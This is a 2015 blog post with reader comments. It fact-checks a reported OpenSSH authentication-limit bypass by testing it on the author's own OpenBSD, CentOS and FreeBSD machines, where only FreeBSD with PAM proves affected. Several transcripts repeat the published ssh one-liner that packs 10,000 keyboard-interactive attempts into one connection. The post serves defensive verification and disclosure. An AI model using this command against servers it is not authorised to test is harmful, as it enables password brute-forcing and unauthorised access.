Friday, July 24, 2015

The OpenSSH Bug That Wasn't

Much has been written about a purported OpenSSH vulnerability. On closer inspection, the reports actually got most of their facts wrong. Read on for the full story.

It all started with a blog post dated July 16, 2015, titled OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass), where the TL;DR is that it's possible to get an almost infinite number of tries at authentication -- good for bruteforce password guessing, for example -- if you only tickle the OpenSSH server just so.

This sounded interesting and scary enough that I wanted to try it out myself. The blog quite helpfully supplies a one-liner that you can cut and paste to your own conmand line to check whether the systems you have within reach are indeed vulnerable.

Here's a transcript of running those tests on the machines I happened to try (Disclaimer: The recorded sessions here are from a second try, a few days after the first). First, my home gateway, running a recent OpenBSD 5.8-beta:

[Fri Jul 24 14:58:31] peter@elke:~$ ssh -lrazz -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'`
Host key fingerprint is SHA256:maeVFpNMibnkcwPSmjV4QBXfz5J97XLta6e2CrzsAYQ
+---[ECDSA 256]---+
|     .o=o+..     |
|      o.X+.o     |
|      EO.+* .    |
|      o.+oo+ =  .|
|        So=.o + o|
|         B   . o.|
|        . +   . +|
|         . +  .=.|
|         .+ .o+++|
+----[SHA256]-----+'s password: 
Permission denied, please try again.'s password: 
Permission denied, please try again.'s password: 
Permission denied (publickey,password,keyboard-interactive).
[Fri Jul 24 16:53:06] peter@elke:~$ 

Here, razz is a non-existent user, and as we can see we get exactly three password prompts before the connection is shut down. Now we know that an essentially untweaked SSH server configuration on a recent OpenBSD does not behave as described in the article.

But what about earlier OpenBSD releases? I have one box I should have upgraded a while ago (to my enduring shame, it's still on 5.3-stable, but don't tell anyone). So here's the same thing pointed at that box:

[Fri Jul 24 16:53:06] peter@elke:~$ ssh -lrazz -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` delilah         
Host key fingerprint is SHA256:AO8rn6Va9+b3+7gdVUxby5zWQFaLnkIA6wcEsOVHukA
+---[ECDSA 256]---+
|   Eoo.+..   .+.+|
|  . +o+ . .  .++B|
|   o oo+   . . O+|
|    ..+.. . . o .|
|     ...S. . o  .|
|       ..   .   .|
|    . o o      . |
|     + = .. .  o.|
|    ..+  oo. .=+o|

razz@delilah's password: 
Permission denied, please try again.
razz@delilah's password: 
Permission denied, please try again.
razz@delilah's password: 
Permission denied (publickey,password,keyboard-interactive).
[Fri Jul 24 16:59:37] peter@elke:~$ 

razz is not a valid user here either, and even the old OpenSSH version here shuts down the connection after three failures. I don't have any OpenBSD boxes with older versions than this anywhere I know about, and we can be reasonably confident that at least close to default configurations on OpenBSD are not vulnerable.

But several of the articles hint that OpenSSH on Linux is vulnerable. I do have a few CentOS boxes within reach. I'll repeat the test on one of these, then:

[Fri Jul 24 17:05:13] peter@elke:~$ ssh -lrazz -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` nms
Host key fingerprint is SHA256:fdFxpvSDLq3W9D1d8U6RzuYQcd0WzAmIFfJAzcIkD8I
+---[RSA 2048]----+
|    .. o+==ooo*oB|
|     E. ++++ o+X=|
|         ....oo*.|
|         .  o.+ =|
|        S ...= ++|
|           .= =o+|
|           o . ++|
|          .     .|
|                 |

razz@nms's password: 
Permission denied, please try again.
razz@nms's password: 
Permission denied, please try again.
razz@nms's password: 
Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).

nms is a CentOS 6.6 box, and the result is as we can see here, pretty much identical to what we saw on the OpenBSD machines. So far we haven't seen anything like what the blogger kingcope had us to expect to see.

But looking back to the original article, he seems to have tested only on FreeBSD. I have some FreeBSD boxes within reach too, and rosalita runs a recent FreeBSD 10.1, freshly upgraded via freebsd-update. Here's what our experiment looks like pointed at rosalita:

[Fri Jul 24 17:15:03] peter@elke:~$ ssh -lrazz -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` rosalita           
Host key fingerprint is SHA256:Ig6F8Au3f0KYNrzuc5qRrpZgY4Q/tz0bJrS0NZMxp1g
+---[ECDSA 256]---+
|.                |
| o .             |
|o + . E .        |
|.= * o *         |
|..X * B S        |
|.=o@.= +         |
|+ *oBo+          |
| =.oo=o.         |
|oo*+  .o         |

Password for razz@rosalita:
Password for razz@rosalita:
Password for razz@rosalita:
Password for razz@rosalita:
Password for razz@rosalita:
Password for razz@rosalita:
Password for razz@rosalita:
Password for razz@rosalita:
Password for razz@rosalita:
Password for razz@rosalita:

Bingo! We have finally seen the reported vulnerability in action on a live system. The ^C at the end is me pressing Ctrl-C to abort after ten tries, my heart wasn't quite in it for the full ten thousand. So far, it looks like this behavior is specific to FreeBSD, but of course it is conceivable that other systems ship with their sshds configured in a similar way.

After a bit of back and forth and reading articles elsehere, it seems that only OpenSSH servers that are set up to use PAM for authentication and with a very specific (non-default on OpenBSD and most other places) setup are in fact vulnerable. Even though there is a patch available which tightens up the code a bit in the PAM-specific parts, OpenBSD users don't actually need to apply it. One big reason being that OpenBSD does not use PAM for its authentication.

The question also came up in a thread on OpenBSD-misc, titled Alleged OpenSSH bug, where several OpenBSD developers commented. Do read the whole thread, but as we've already seen, it's easy to test whether your systems behave as described in the original blog post as well as this one.

And as OpenBSD developer Marc Espie says in his message,

Not surprisingly, as the patch clearly shows, the problem is right smack in the middle of USE_PAM code.

I wouldn't call that an OpenSSH bug. I would call it a systemic design flaw in PAM. As usual. LOTS of security holes in authentication systems stem from PAM. Why ? Because that stuff is over designed. Difficult to configure. Gives you MORE than you need to hang yourself several times over. It's been that way for as long as I can remember.

As they say, do read the whole thing. TL;DR this time around is: OpenBSD is not vulnerable, and on the systems that are, changing the configuration to close this particular bruteforcing opportunity is trivial. As is checking the facts before writing up a story. (And as several correspondents have reminded me already -- switching your sshd to keys only authentication will let you sleep better at night.)


  1. I'm a bit skeptical as to why this would even be considered a vulnerability, considering that in most (non-hardened) configurations the attacker can just reconnect to the server. In a hardened configuration, something like fail2ban would be in place and it considers each login failure as an incident; it doesn't care at all about how many connections were made, so whether someone fails ten times in one connection or makes ten connections and fails once in each, it would trigger a firewall rule to block the attacker.

    tl;dr: On a properly hardened box, this vulnerability has zero impact.

  2. They talk about FreeBSD in the article and you test that on other OS and say it's not a serious vuln?

    This is a serious vuln for FreeBSD. Period.

    1. For someone who has not disabled password authentication.. meaning someone who probably shouldn't be running a *nix box on the open internet.

  3. This can be a vulnerability for some people, if they have been using firewall rules to protect their machines from brute-force password guessers.

    If, for instance, they use rate-limiting rules, then the fact that the bad guy can get 10,000 guesses in a single connection is significant. I use other methods to protect my machines, but I know that rate-limiting was one recommendation (or at least it used to be).
    -- garance alistair drosehn

  4. Eh. It is a run-of-the-mill PAM vulnerability exposed in FreeBSD. As others have said, it is only going to potentially be problematic on unhardened hosts where admins don't watch the logs. In such cases, it is highly likely that there will be other vulnerabilities that allow more direct attacks than a brute force.

    To be clear, it is a security-related issue that should be fixed. I just don't see it as a "serious vuln for FreeBSD." Or if it is, we need several additional modifiers above "serious" to accommodate things more serious than this.

  5. Remove the "ChallengeResponseAuthentication no" line from your CentOS sshd_config and try again.

  6. Latest Mac OS X Yosemite 10.10.4 is vulnerable

  7. The quality of the reporting on this bug has been dismal and in many cases blatantly sensationalist. So thanks for trying to introduce some sobriety and sanity.

    However, I would like to clarify the bug is not related to PAM, per se. It relates to how OpenSSH servers handle keyboard-interactive userauth requests.

    It turns out OpenSSH will query a given keyboard-interactive device as many times as it appears in a client-supplied device list (including repeats). The end result is a brute force attack can be mounted in a more economical way (in terms of network connections) because more guesses can be packed into a single userauth request.

    The now infamous -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` option does just that: it triggers the querying of a pam device 10,000 times within a single request.

    For those interested, I describe this a bit more in openbsd-misc: where I also show the bug getting triggered on OpenBSD 5.6 using the bsdauth device.

    Note: The bug has since been fixed; servers now ignore device list repeats (OpenBSD CVS [1] and portable git [2]).




Note: Comments are moderated. On-topic messages will be liberated from the holding queue at semi-random (hopefully short) intervals.

I invite comment on all aspects of the material I publish and I read all submitted comments. I occasionally respond in comments, but please do not assume that your comment will compel me to produce a public or immediate response.

Please note that comments consisting of only a single word or only a URL with no indication why that link is useful in the context will be immediately recycled so those poor electrons get another shot at a meaningful existence.

If your suggestions are useful enough to make me write on a specific topic, I will do my best to give credit where credit is due.